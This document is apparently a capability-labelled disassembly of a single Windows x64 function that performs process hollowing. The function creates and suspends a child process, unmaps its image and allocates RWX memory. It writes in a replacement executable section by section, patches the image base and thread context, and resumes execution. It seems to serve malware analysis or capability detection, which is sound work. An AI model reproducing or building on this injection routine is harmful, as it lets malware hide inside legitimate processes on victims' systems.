Function at 0x140001e60
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Suspend thread

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x9d0
mov rax, qword [0x140011430]
xor rax, rsp
mov qword [rsp + 0x9c0], rax
xor r15d, r15d
mov r14, r8
mov qword [rsp + 0x78], r8
mov rbx, rdx
mov rdi, rcx
cmp rcx, r15
je 0x140001f7d
cmp rdx, r15
je 0x140001f7d
lea r8d, [r15 + 0x60]
lea rcx, [rsp + 0x88]
xor edx, edx
mov qword [rsp + 0x70], r15
mov dword [rsp + 0x80], r15d
call fcn.1400030b0
xor eax, eax
lea rcx, [rsp + 0xf8]
xor edx, edx
mov r8d, 0x4c8
mov qword [rsp + 0x50], r15
mov qword [rsp + 0xf0], r15
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
call fcn.1400030b0
lea r8d, [r15 + 0x68]
lea rcx, [rsp + 0x80]
xor edx, edx
mov dword [rsp + 0x120], 0x10000b
call fcn.1400030b0
lea r8d, [r15 + 0x18]
lea rcx, [rsp + 0x50]
xor edx, edx
call fcn.1400030b0
lea r11, [rsp + 0x50]
lea rax, [rsp + 0x80]
mov qword [rsp + 0x48], r11
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
xor ecx, ecx
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp eax, r15d
jne 0x140001faa
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Create_Process_Failure.Error_Code___d_n
mov edx, eax
call fcn.140001cb8
xor al, al
mov rcx, qword [rsp + 0x9c0]
xor rcx, rsp
call fcn.140003780
mov rbx, qword [rsp + 0xa28]
add rsp, 0x9d0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov edx, dword [rsp + 0x60]
lea rcx, str.Pid___d_n
call fcn.140001cb8
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, r15d
je 0x140001fd9
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Suspend_Thread_Failure.Error_Code___d_n
jmp 0x140001f76
lea rcx, [rsp + 0x5c1]
xor edx, edx
mov r8d, 0x3ff
mov byte [rsp + 0x5c0], r15b
call fcn.1400030b0
mov esi, 0x400
lea rcx, [rsp + 0x5c0]
mov r8, rsi
xor edx, edx
call fcn.1400030b0
mov ecx, dword [rsp + 0x60]
lea rdx, [rsp + 0x5c0]
mov r8d, esi
call fcn.140001530
cmp al, r15b
je 0x140002037
lea rdx, [rsp + 0x5c0]
lea rcx, str.Executing___s__Successfully_At_Suspended_State_n
jmp 0x140002041
mov rdx, rdi
lea rcx, str.Executing__s_Successfully_At_Suspended_State_n
call fcn.140001cb8
mov rsi, qword [0x140014900]
cmp rsi, r15
jne 0x14000208e
mov rcx, rbx
call fcn.140001d44
mov qword [0x140014900], rax
cmp rax, r15
jne 0x14000207b
mov rcx, qword [rsp + 0x50]
mov edx, 1
call qword [0x1400148e8]
jmp 0x140001f7d
lea rcx, str.Load_Image_Successfully
call fcn.140001cb8
mov rsi, qword [0x140014900]
mov eax, 0x5a4d
cmp word [rsi], ax
je 0x1400020be
lea rcx, str.Invalid_Replace_Executable_n
call fcn.140001cb8
mov rcx, qword [rsp + 0x50]
mov edx, 1
call qword [0x1400148e8]
call fcn.140001c8c
jmp 0x140001f7d
movsxd rbx, dword [rsi + 0x3c]
add rbx, rsi
cmp byte [0x140014908], r15b
jne 0x140002132
lea rcx, str.No_Successful_Run_Yet
mov word [rsp + 0x6c], r15w
mov word [rsp + 0x68], r15w
call fcn.140001cb8
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x6c]
lea rcx, [rsp + 0x5c0]
call fcn.1400019e0
cmp al, r15b
je 0x140002132
movzx eax, word [rsp + 0x6c]
cmp ax, word [rbx + 4]
jne 0x140002163
mov ecx, 0x8664
cmp cx, ax
jne 0x140002163
movzx edi, word [rsp + 0x68]
cmp di, word [rbx + 0x5c]
je 0x140002132
lea rcx, str.Patch_Image_Data_n
call fcn.140001cb8
mov word [rbx + 0x5c], di
mov rcx, qword [rsp + 0x58]
lea rdx, [rsp + 0xf0]
call qword [0x1400148b0]
cmp eax, r15d
jge 0x14000216f
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.NtGetContextThread_Failure.Error_Code___d_n
mov edx, eax
call fcn.140001cb8
jmp 0x140002066
lea rcx, str.Mis_Match_Machine_n
jmp 0x14000209f
mov rdx, qword [rsp + 0x178]
mov rcx, qword [rsp + 0x50]
lea r8, [rsp + 0x70]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], r15
call qword [0x1400148c0]
cmp eax, r15d
jge 0x1400021a4
lea rcx, str.NtReadVirtualMemory.Error_Code___d_n
jmp 0x140002157
mov rax, qword [rbx + 0x30]
cmp qword [rsp + 0x70], rax
jne 0x1400021cb
lea rcx, str.Unmapping_Original_Executable_Image_From_Child_Process_n
call fcn.140001cb8
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x50]
call qword [0x1400148d8]
mov ebp, r15d
mov r8d, dword [rbx + 0x50]
mov rdx, qword [rbx + 0x30]
mov rcx, qword [rsp + 0x50]
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
cmp rax, r15
jne 0x140002232
inc ebp
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.VirtualAllocEx_Failure__d_Attempt_.Error_Code___d_n
mov r8d, eax
mov edx, ebp
call fcn.140001cb8
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp ebp, 3
jb 0x1400021ce
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.VirtualAllocEx_Failure.Error_Code___d_n
jmp 0x140002157
mov r9d, dword [rbx + 0x54]
mov r8, qword [0x140014900]
mov rcx, qword [rsp + 0x50]
mov rdx, rax
mov qword [rsp + 0x20], r15
call qword [0x1400148e0]
cmp eax, r15d
jge 0x14000227f
lea rcx, str.NtWriteVirtualMemory_Failure.Error_Code___d_n
mov edx, eax
call fcn.140001cb8
mov rcx, qword [rsp + 0x50]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x140002066
mov r8d, dword [rbx + 0x54]
mov rcx, qword [rsp + 0x50]
mov rdx, rdi
call qword [0x1400148b8]
mov r13d, r15d
cmp r15w, word [rbx + 6]
jae 0x140002319
mov rbp, r15
mov r15, qword [0x140014900]
movsxd r14, dword [rsi + 0x3c]
mov rcx, qword [rsp + 0x50]
and qword [rsp + 0x20], 0
add r14, rbp
mov r8d, dword [r14 + r15 + 0x11c]
mov edx, dword [r14 + r15 + 0x114]
mov r9d, dword [r14 + r15 + 0x118]
add r8, r15
add rdx, rdi
call qword [0x1400148e0]
test eax, eax
js 0x14000237e
mov edx, dword [r14 + r15 + 0x114]
mov r8d, dword [r14 + r15 + 0x118]
mov rcx, qword [rsp + 0x50]
add rdx, rdi
call qword [0x1400148b8]
movzx eax, word [rbx + 6]
inc r13d
add rbp, 0x28
cmp r13d, eax
jb 0x14000229e
mov r14, qword [rsp + 0x78]
xor r15d, r15d
mov eax, dword [rbx + 0x28]
mov rdx, qword [rsp + 0x178]
mov rcx, qword [rsp + 0x50]
add rax, rdi
mov esi, 8
lea r8, [rbx + 0x30]
add rdx, 0x10
mov r9d, esi
mov qword [rsp + 0x20], r15
mov qword [rsp + 0x170], rax
call qword [0x1400148e0]
mov rdx, qword [rsp + 0x178]
mov rcx, qword [rsp + 0x50]
add rdx, 0x10
mov r8d, esi
mov ebx, eax
call qword [0x1400148b8]
cmp ebx, r15d
jge 0x14000238a
mov edx, ebx
lea rcx, str.NtWriteVirtualMemory_Failure.Error_Code___d.._n
jmp 0x14000225e
lea rcx, str.NtWriteVirtualMemory_Failure.Error_Code___d._n
jmp 0x14000225c
mov rcx, qword [rsp + 0x58]
lea rdx, [rsp + 0xf0]
call qword [0x1400148f0]
cmp eax, r15d
jge 0x1400023ae
lea rcx, str.NtSetContextThread_Failure.Error_Code___d.._n
jmp 0x14000225c
mov rcx, qword [rsp + 0x58]
xor edx, edx
call qword [0x1400148f8]
cmp eax, r15d
jge 0x1400023cc
lea rcx, str.NtResumeThread_Failure.Error_Code___d.._n
jmp 0x14000225c
lea rcx, str.Resume_Thread_To_Normal_State_n
call fcn.140001cb8
mov r11d, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
mov dword [r14], r11d
call qword [0x1400148c8]
mov rcx, qword [rsp + 0x50]
call qword [0x1400148c8]
mov byte [0x140014908], 1
mov al, 1
jmp 0x140001f7f